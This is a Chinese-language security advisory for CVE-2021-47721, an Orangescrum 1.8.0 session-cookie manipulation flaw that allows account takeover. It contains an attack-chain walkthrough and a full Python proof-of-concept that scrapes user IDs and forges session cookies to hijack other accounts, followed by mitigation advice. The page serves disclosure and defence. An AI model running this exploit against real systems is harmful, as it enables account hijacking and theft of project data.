IPBUF安全漏洞报告
English
CVE-2021-47721 CVSS 8.8 高危

CVE-2021-47721 Orangescrum会话Cookie操纵导致账户劫持漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47721
漏洞类型
权限提升/会话劫持
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Orangescrum 1.8.0

相关标签

CVE-2021-47721Orangescrum会话劫持权限提升Web应用漏洞身份认证绕过Cookie操纵高危漏洞

漏洞概述

CVE-2021-47721是Orangescrum 1.8.0版本中存在的一个高危安全漏洞,属于权限提升和会话劫持类型。该漏洞的CVSS评分为8.8分,严重程度为HIGH。漏洞源于Orangescrum在会话管理机制上的缺陷,允许已认证用户通过操纵会话Cookie来劫持其他项目成员的账户。攻击者利用此漏洞可以绕过正常的身份验证流程,以受害者身份登录系统并获取其所有权限,包括访问敏感项目数据、修改配置、执行受限操作等。此漏洞需要攻击者具备低权限账户,但无需任何用户交互即可完成攻击。由于Orangescrum是一款广泛应用于企业项目管理的协作工具,该漏洞可能对企业内部数据安全造成严重威胁。攻击者通过简单的技术手段即可实现账户接管,整个攻击过程隐蔽且难以被传统安全监控设备检测到。

技术细节

该漏洞的核心问题在于Orangescrum 1.8.0的会话管理机制存在严重缺陷。系统在处理用户会话时,未对会话Cookie进行充分的验证和绑定。具体攻击步骤如下:首先,攻击者使用自己的低权限账户登录Orangescrum系统。登录成功后,攻击者在浏览项目页面或用户管理页面时,可以从页面源代码中直接获取其他用户的唯一标识符(User ID)。这个标识符通常以明文形式存在于HTML元素属性或JavaScript变量中。其次,攻击者构造恶意请求,将自己的会话Cookie中的用户标识符替换为受害者的标识符。由于服务器端未正确验证会话Cookie与用户身份的绑定关系,服务器会接受这个被篡改的Cookie并创建受害者的会话。此后,攻击者便可以以受害者身份访问系统,享受该账户的所有权限。漏洞的根本原因包括:1) 用户标识符在客户端可见且可预测;2) 会话Cookie验证机制不完善;3) 缺少会话与用户身份的强绑定验证;4) 缺乏会话固定攻击防护措施。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者使用自己的低权限账户登录Orangescrum系统,获取初始访问权限
STEP 2
步骤2: 用户ID提取
攻击者浏览项目页面或用户管理页面,从页面源代码中提取其他用户的唯一标识符(User ID),这些ID通常以明文形式存在于HTML属性或JavaScript变量中
STEP 3
步骤3: 会话Cookie篡改
攻击者构造恶意请求,将自己的会话Cookie中的用户标识符替换为受害者的标识符,利用系统对会话Cookie验证不完善的缺陷
STEP 4
步骤4: 账户劫持
服务器接受被篡改的Cookie并创建受害者会话,攻击者成功以受害者身份登录系统
STEP 5
步骤5: 权限滥用
攻击者以受害者身份执行各种操作,包括访问敏感数据、修改项目配置、执行受限功能等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47721 PoC - Orangescrum Session Hijacking # This PoC demonstrates the privilege escalation via session cookie manipulation import requests import re from bs4 import BeautifulSoup TARGET_URL = "http://target-orangescrum-server.com" ATTACKER_EMAIL = "[email protected]" ATTACKER_PASSWORD = "attacker_password" def login(username, password): """Login to Orangescrum and return session cookies""" session = requests.Session() login_url = f"{TARGET_URL}/users/login" data = { "data[User][email]": username, "data[User][password]": password } response = session.post(login_url, data=data) return session if "redirect" in response.url else None def extract_user_ids(session): """Extract user IDs from page source""" project_url = f"{TARGET_URL}/projects" response = session.get(project_url) soup = BeautifulSoup(response.text, 'html.parser') # Look for user IDs in data attributes, hidden inputs, or JavaScript user_ids = [] for element in soup.find_all(attrs={'data-user-id': True}): user_ids.append(element['data-user-id']) # Also check hidden input fields for hidden_input in soup.find_all('input', type='hidden'): if 'user_id' in hidden_input.get('name', '').lower(): user_ids.append(hidden_input.get('value')) return list(set(user_ids)) def hijack_session(original_session, target_user_id): """Hijack target user's session by replacing user ID in cookies""" hijacked_session = requests.Session() # Copy cookies from original session for cookie in original_session.cookies: hijacked_session.cookies.set( cookie.name, cookie.value, domain=cookie.domain, path=cookie.path ) # Find and modify the user ID cookie/session variable # Common session variable names in Orangescrum session_vars = ['user_id', 'Auth', 'CakeCookie[user_id]'] for var in session_vars: if var in hijacked_session.cookies: hijacked_session.cookies.set(var, str(target_user_id)) return hijacked_session def verify_hijack(session): """Verify if session hijacking was successful""" profile_url = f"{TARGET_URL}/users/profile" response = session.get(profile_url) return response.status_code == 200 and "My Profile" in response.text # Main execution attacker_session = login(ATTACKER_EMAIL, ATTACKER_PASSWORD) if attacker_session: victim_ids = extract_user_ids(attacker_session) print(f"Found {len(victim_ids)} potential victim IDs: {victim_ids}") for victim_id in victim_ids: hijacked_session = hijack_session(attacker_session, victim_id) if verify_hijack(hijacked_session): print(f"[!] Successfully hijacked user ID: {victim_id}") else: print(f"[*] Failed to hijack user ID: {victim_id}") else: print("[!] Login failed")

影响范围

Orangescrum 1.8.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制Orangescrum系统的网络访问,仅允许受信任的IP地址访问;2) 实施IP白名单策略,防止未授权访问;3) 增强日志监控,密切关注异常的会话创建和权限变更行为;4) 定期轮换用户密码,特别是具有高权限的账户;5) 考虑暂时禁用非必要的用户账户以减少攻击面;6) 启用应用层的行为分析,及时发现会话操纵行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表